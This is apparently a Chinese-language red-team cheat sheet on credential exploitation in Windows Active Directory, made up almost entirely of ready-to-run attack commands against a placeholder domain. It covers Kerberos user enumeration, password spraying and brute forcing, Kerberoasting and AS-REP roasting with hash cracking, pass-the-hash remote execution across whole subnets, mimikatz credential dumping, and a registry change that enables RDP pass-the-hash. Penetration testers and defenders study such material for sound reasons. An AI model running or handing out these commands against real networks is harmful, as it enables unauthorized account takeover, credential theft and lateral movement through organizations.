连载：红队知识体系梳理-凭据利用

# 通过Kerberos枚举用户名kerbrute userenum -d qaq.com  --dc 192.168.10.250 usernames.txt# 指定密码喷洒kerbrute  passwordspray -d qaq.com  --dc 192.168.10.250  domain_users.txt Password123# 指定账户密码暴破（会被锁账户）kerbrute_linux_amd64 bruteuser -d qaq.com  --dc 192.168.10.250  passwords.lst  test

# 获得所有用户的列表，排除被禁用和被锁定的用户powershell  -exec bypass -command "&{import-module .\DomainPasswordSpray.ps1; Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts| Out-File -Encoding ascii userlist.txt }"
# 指定UserList进行密码喷洒暴破Invoke-DomainPasswordSpray -UserList .\\users.txt -Password Aa123456 -Verbose
# 利用LDAP自动从域中导出用户列表（去除禁用和锁定用户），再进行密码喷洒powershell  -exec bypass -command "&{import-module .\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password Aa123456}"

# smart模式。通过LDAP获取启用的用户，获取用户锁定策略后进行爆破。爆破不会锁定账户python3 smartbrute.py smart -bP passwords.txt kerberos -d  qaq.com  -u admin -p 'Aa123456' kerberospython3 smartbrute.py smart -bH NT_hash_passwords.txt kerberos -d  qaq.com  -u admin -p 'Aa123456' kerberos
# Brute模式。会锁定用户python3 smartbrute.py brute -bu 'jack' -bP passwords.txt kerberos -d qaq.com

Rubeus.exe kerberoast # 生成所有高权限服务的SThashcat64.exe -m 13100 hash.txt pass.txt -o result.txt --force  # 13100表示RC4-HMAC-MD5加密

Rubeus.exe asreproast > hash.txt  # 生成不需要域认证账户的ST。通过LDAP查询不需要kerberos预身份认证的账户Rubeus.exe asreproast /domain:qaq.org /user:admin /dc:172.16.0.106 /format:hashcat /outfile:C:\Temp\hash.txt  # 非域内生成admin账户的ST

hashcat64.exe -m 18200 hash.txt pass.txt --force   # 爆破sessionkey-TGS值

# -hashes Lmhash:ntlmhash
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e  administrator@192.168.4.27   "ipconfig"python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e  administrator@192.168.4.27
# 通过wmic方式执行命令python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e  administrator@192.168.4.27   "ipconfig"

# WMI方式135端口无回显批量执行命令powershell -exec bypass  "&{import-module .\Invoke-TheHash.ps1; import-module .\Invoke-WMIExec.ps1;Invoke-TheHash -Type WMIExec -Target 192.168.10.1/24 -Domain qaq.com  -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e  -Command "whoami" -verbose}"
powershell -exec bypass  "&{import-module .\Invoke-WMIExec.ps1; Invoke-WMIExec -Target 192.168.10.250 -Domain qaq.com -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "hostname" -verbose}"
# SMB方式445端口批量无回显批量执行命令powershell -exec bypass  "&{import-module .\Invoke-TheHash.ps1; import-module .\Invoke-SMBExec.ps1; Invoke-TheHash -Type  smbexec -Target 192.168.10.1/24 -Domain qaq.com  -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e  -Command "whoami" -verbose}"
powershell -exec bypass  "&{import-module .\Invoke-SMBExec.ps1;  invoke-smbexec -Target 192.168.10.250 -Domain qaq.com  -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e  -Command "whoami" -verbose}"

# WMI方式135端口执行命令，注册表获取结果python3 wmiexec-regOut.py   qaq/administrator:Aa123456@192.168.10.250  'whoami'python3 wmiexec-regOut.py  -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/administrator@192.168.10.250 'whoami'
# WMI方式135端口无回显执行命令，vbs调用python3 wmipersist-Modify.py  qaq/administrator:Aa123456@192.168.10.250  'whoami'python3 wmipersist-Modify.py    -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/administrator@192.168.10.250 'whoami'
# WMI方式135端口回显执行命令，vbs调用python3  wmipersist-Modify.py qaq/administrator:Aa123456@192.168.10.250  'whoami'  -with-outputpython3   wmipersist-Modify.py    -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/administrator@192.168.10.250   'whoami'   -with-output

# 另外生成进程创建访问令牌mimikatz "privilege::debug"  "sekurlsa::pth /user:administrator /domain:192.168.4.26 /ntlm:47bf8039a8506cd67c524a03ff84ba4e"

PsExec.exe -accepteula \\test5-2012.qaq.org -s cmd.exe # 默认使用当前用户的凭据psexec \\192.168.10.250  -accepteula -u username -p password  -s cmd.exe

wmic /node:test.qaq.com  process call create  "cmd.exe /c whoami > c:\\windows\temp\test.txt" # 默认使用当前用户凭据wmic /user:"qaq.com\administrator"  /password:"Aa123456"  /node:test.qaq.com  process call create  "cmd.exe /c whoami > c:\\windows\temp\test.txt"
type \\test.qaq.com\c$\windows\temp\test.txt

# 开启受限管理员模式REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f# 查询是否开启，0表示开启REG query HKLM\System\CurrentControlSet\Control\Lsa | findstr DisableRestrictedAdmin

mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:. /ntlm:47bf8039a8506cd67c524a03ff84ba4e"mstsc.exe /restrictedadmin

# 获取aes256-hmac hashmimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit > aes256.txt# 注入aes256-hmac生成票据mimikatz.exe "sekurlsa::pth /user:administrator /domain:test.qaq.com /aes256:xxxxxxxx" exit